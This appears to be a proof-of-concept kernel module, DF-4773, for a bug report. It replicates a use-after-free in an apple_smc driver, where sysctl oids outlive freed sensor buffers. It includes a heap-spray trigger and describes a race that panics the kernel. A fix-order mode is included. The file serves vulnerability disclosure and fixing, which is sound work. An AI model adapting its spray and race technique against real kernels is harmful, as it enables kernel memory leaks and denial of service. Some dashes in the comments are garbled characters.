DF-4773 / df4773.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 | /* * DF-4773 PoC โ apple_smc sysctl teardown-order UAF (DF-4647 family). * * sys/dev/apple/smc/smc.c:503-547 apple_smc_detach() frees the sensor key * strings (sc_temp_sensors[] etc., lines 507-512) and releases all backend * state, but NONE of the per-device sysctl oids it registered * (dev.acpi_APP0001.<n>.temperature.*, .voltage.*, .fan.* โ handlers in * smc_sysctl.c dereference sc->sc_*_sensors[] and sc) are removed there. * The oids live on in the device sysctl context until newbus' device_delete * -> device_sysctl_fini() -> sysctl_ctx_free() runs LATER. Two windows: * * (1) deterministic: any sysctl read that lands between detach() freeing * the strings and sysctl_ctx_free() (e.g. during kldunload apple_smc) * executes apple_smc_temp_sysctl (smc_sysctl.c:169-184) -> * sc->sc_temp_sensors[arg2] is a FREED heap pointer handed to * apple_smc_sensor_read() as the 4-byte SMC key. On the ISA backend * the handler then runs apple_smc_key_read -> SMC_LOCK on an * lockuninit'd lock and bus_write_1(sc->sc_ioport == NULL, ...) * (smc.h:110) -> NULL-page write -> panic. * * (2) race: kern_sysctl.c:391's oid_running drain is DEAD CODE (nothing * increments oid_running; no wakeup exists), so an in-flight handler * is never waited for when sysctl_ctx_free kfrees the oids and the * module text is unmapped by kldunload โ DF-4647, same kernel. * * The Apple SMC cannot attach under QEMU (the SMC handshake needs real * hardware answering the ISA/MMIO protocol; QEMU returns 0xFF and * apple_smc_init() fails before any oid is registered), so this module * replicates apple_smc's exact teardown CONTRACT with generic primitives: * * - a fake softc with sensor key chunks (== smc.c:725-727) + a handler * that dereferences them (== apple_smc_temp_sysctl, smc_sysctl.c:179) * - "detach" frees the chunks first, oid removal happens only at * module unload (== device_delete ordering) * * sysctl kern.df4773.detach=1 free the backing store (== smc.c:507-512); * oids stay live; later reads are UAF reads * sysctl kern.df4773.spray=1 reclaim the freed chunk with marker data * sysctl kern.df4773.sensor0 read before/after detach+spray โ value * flips from the sensor marker to the spray * pattern: recycled kernel heap returned to * userspace through the still-registered oid. * * Panic race: run hammer.sh in the background (loop-reads the oid; the * handler tsleeps 20 ms inside), then `kldunload df4773` โ the un-drained * in-flight handler is left executing while sysctl_ctx_free kfrees the oid * and the linker unmaps the module text. */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/systm.h> #include <sys/module.h> #include <sys/sysctl.h> #include <sys/malloc.h> #include <sys/types.h> #include <sys/kthread.h> #define DF4773_SENSOR_MARKER 0x0A5A5A5A /* "sensor key" value */ #define DF4773_SPRAY_MARKER 0xDEADBEEF /* reclaim pattern */ #define DF4773_NSENSORS 4 struct df4773_softc { char *sensor_keys[DF4773_NSENSORS]; /* == sc_temp_sensors[] */ int nkeys; }; static struct df4773_softc df4773_sc_static; /* == device softc */ static struct df4773_softc *df4773_sc = &df4773_sc_static; static int df4773_detached; static int df4773_delay_ms = 20; /* in-handler dwell for the race */ static int df4773_fixmode; /* 1: remove oids BEFORE freeing * (== fix.diff order) */ /* * == device_get_sysctl_ctx(dev): the dynamic oid context the driver * registers its sensor oids in; freed at device_delete time (module * unload here) โ or, with the fix, at the top of detach. */ static struct sysctl_ctx_list df4773_ctx; MALLOC_DEFINE(M_DF4773, "df4773", "DF-4773 PoC"); /* * == apple_smc_temp_sysctl (smc_sysctl.c:169-184): bounds-check arg2, * then dereference sc->sc_temp_sensors[arg2] โ the string the real driver * passes to the SMC as the 4-byte key. Here the "sensor read" surfaces * the first 4 bytes of that heap chunk to userspace so the UAF read is * observable; the dwell models the SMC round-trip latency that widens * the detach race. */ static int df4773_temp_sysctl(SYSCTL_HANDLER_ARGS) { struct df4773_softc *sc = arg1; int val = -1; int ticks; if (arg2 < 0 || arg2 >= sc->nkeys) /* smc_sysctl.c:176 */ return (EINVAL); /* SMC round-trip dwell (widens the in-flight window) */ ticks = (df4773_delay_ms * hz + 999) / 1000; if (ticks > 0) tsleep(&df4773_sc, 0, "df4773d", ticks); /* * UAF READ: after "detach", sensor_keys[arg2] points to freed heap. */ val = *(volatile int *)(void *)sc->sensor_keys[arg2]; return (sysctl_handle_int(oidp, &val, 0, req)); } static void df4773_attach(void) { int i; bzero(df4773_sc, sizeof(*df4773_sc)); df4773_sc->nkeys = DF4773_NSENSORS; for (i = 0; i < DF4773_NSENSORS; i++) { /* == smc.c:725-727 kmalloc(KEYLEN+1) + memcpy */ df4773_sc->sensor_keys[i] = kmalloc(sizeof(int), M_DF4773, M_WAITOK | M_ZERO); *(int *)(void *)df4773_sc->sensor_keys[i] = DF4773_SENSOR_MARKER; } df4773_detached = 0; /* * == smc.c: SYSCTL_ADD_PROC(sysctlctx, ..., apple_smc_temp_sysctl) * in the device sysctl context (dynamic oid, dynamic ctx). */ sysctl_ctx_init(&df4773_ctx); SYSCTL_ADD_PROC(&df4773_ctx, SYSCTL_STATIC_CHILDREN(_kern), OID_AUTO, "df4773_sensor0", CTLTYPE_INT | CTLFLAG_RD | CTLFLAG_ANYBODY, &df4773_sc_static, 0, df4773_temp_sysctl, "I", "temperature sensor 0 (dereferences sc->sensor_keys[0])"); } /* * The real fix (fix.diff) calls sysctl_ctx_free() from device_detach * context, where NO sysctl lock is held. A sysctl handler CANNOT call * sysctl_remove_oid() itself: userland_sysctl() holds the per-cpu * sysctllock SHARED across the whole handler invocation (kern_sysctl.c: * 1572-1574) and sysctl_remove_oid() needs it EXCLUSIVE โ self-deadlock * (verified deterministically on the guest). So the replica performs * the oid removal in a dedicated kernel thread, mirroring detach ctx. */ static void df4773_remover_thread(void *arg __unused) { /* == fix.diff: sysctl_ctx_free(device_get_sysctl_ctx(dev)) at the * TOP of apple_smc_detach, from detach (thread) context */ sysctl_ctx_free(&df4773_ctx); kprintf("df4773: detach(fixmode): oid ctx freed BEFORE freeing" " backing store\n"); wakeup(&df4773_detached); kthread_exit(); } /* * == apple_smc_detach (smc.c:503-512): frees the sensor strings FIRST; * oids are NOT removed here (they die at device_delete, i.e. module * unload in this replica). With df4773_fixmode=1 the fix.diff ordering * is used instead: oids removed first, then the strings freed. */ static void df4773_detach(void) { int i; if (df4773_detached || df4773_sc == NULL) return; if (df4773_fixmode) { /* == fix.diff: oid ctx freed at the TOP of detach, from * detach (thread) context โ a handler cannot call * sysctl_ctx_free itself: userland_sysctl holds the * per-cpu sysctllock SHARED across handler invocation * (kern_sysctl.c:1572-1574) and ctx_free needs it * EXCLUSIVE โ verified self-deadlock on the guest */ kthread_create(df4773_remover_thread, NULL, NULL, "df4773rem"); tsleep(&df4773_detached, 0, "df4773r", hz); } for (i = 0; i < df4773_sc->nkeys; i++) kfree(df4773_sc->sensor_keys[i], M_DF4773); /* softc itself stays allocated (device softc dies at device_delete) */ df4773_detached = 1; kprintf("df4773: detach: %d sensor key chunks freed; sysctl oids" " %s (== smc.c:507-512 before device_delete)\n", DF4773_NSENSORS, df4773_fixmode ? "removed first (fixed order)" : "STILL REGISTERED (buggy order)"); } static int df4773_detach_sysctl(SYSCTL_HANDLER_ARGS) { int v = 0; int error; error = sysctl_handle_int(oidp, &v, 0, req); if (error != 0 || req->newptr == NULL) return (error); if (v == 1) df4773_detach(); return (0); } static int df4773_fixmode_sysctl(SYSCTL_HANDLER_ARGS) { return (sysctl_handle_int(oidp, &df4773_fixmode, 0, req)); } static int df4773_spray_sysctl(SYSCTL_HANDLER_ARGS) { int v = 0; int error; void *p; int i; error = sysctl_handle_int(oidp, &v, 0, req); if (error != 0 || req->newptr == NULL) return (error); if (v == 1 && df4773_detached) { /* reclaim the just-freed chunks with marker data */ for (i = 0; i < 8; i++) { p = kmalloc(sizeof(int), M_DF4773, M_WAITOK | M_ZERO); *(int *)p = DF4773_SPRAY_MARKER; } kprintf("df4773: spray: 8 chunks reclaimed with 0x%08x\n", DF4773_SPRAY_MARKER); } return (0); } static int df4773_delay_sysctl(SYSCTL_HANDLER_ARGS) { return (sysctl_handle_int(oidp, &df4773_delay_ms, 0, req)); } SYSCTL_PROC(_kern, OID_AUTO, df4773_detach, CTLTYPE_INT | CTLFLAG_RW, NULL, 0, df4773_detach_sysctl, "I", "run the apple_smc_detach replica"); SYSCTL_PROC(_kern, OID_AUTO, df4773_spray, CTLTYPE_INT | CTLFLAG_RW, NULL, 0, df4773_spray_sysctl, "I", "reclaim freed chunks with marker data"); SYSCTL_PROC(_kern, OID_AUTO, df4773_delay, CTLTYPE_INT | CTLFLAG_RW, NULL, 0, df4773_delay_sysctl, "I", "handler dwell in ms"); SYSCTL_PROC(_kern, OID_AUTO, df4773_fixmode, CTLTYPE_INT | CTLFLAG_RW, NULL, 0, df4773_fixmode_sysctl, "I", "1 = remove oid before freeing (fix.diff order)"); static int df4773_modevent(module_t mod, int type, void *data) { switch (type) { case MOD_LOAD: df4773_attach(); kprintf("df4773: loaded (fake softc %p, sensor marker " "0x%08x)\n", df4773_sc, DF4773_SENSOR_MARKER); break; case MOD_UNLOAD: /* * == device_delete -> device_sysctl_fini: the STATIC oids * declared above are unregistered HERE by the module glue, * long after the backing store died. The oid_running * drain in kern_sysctl.c:391 never sleeps (dead code), so * any in-flight reader is not waited for. */ if (!df4773_detached) df4773_detach(); if (!df4773_fixmode) { /* * == device_delete -> device_sysctl_fini: * the oid ctx dies HERE โ after the backing store * already died at "detach" (the DF-4773 window). */ sysctl_ctx_free(&df4773_ctx); } kprintf("df4773: unload: oid removal happens NOW โ after" " backing free (the DF-4773 window)\n"); break; default: return (EOPNOTSUPP); } return (0); } static moduledata_t df4773_mod = { "df4773", df4773_modevent, 0 }; DECLARE_MODULE(df4773, df4773_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE); |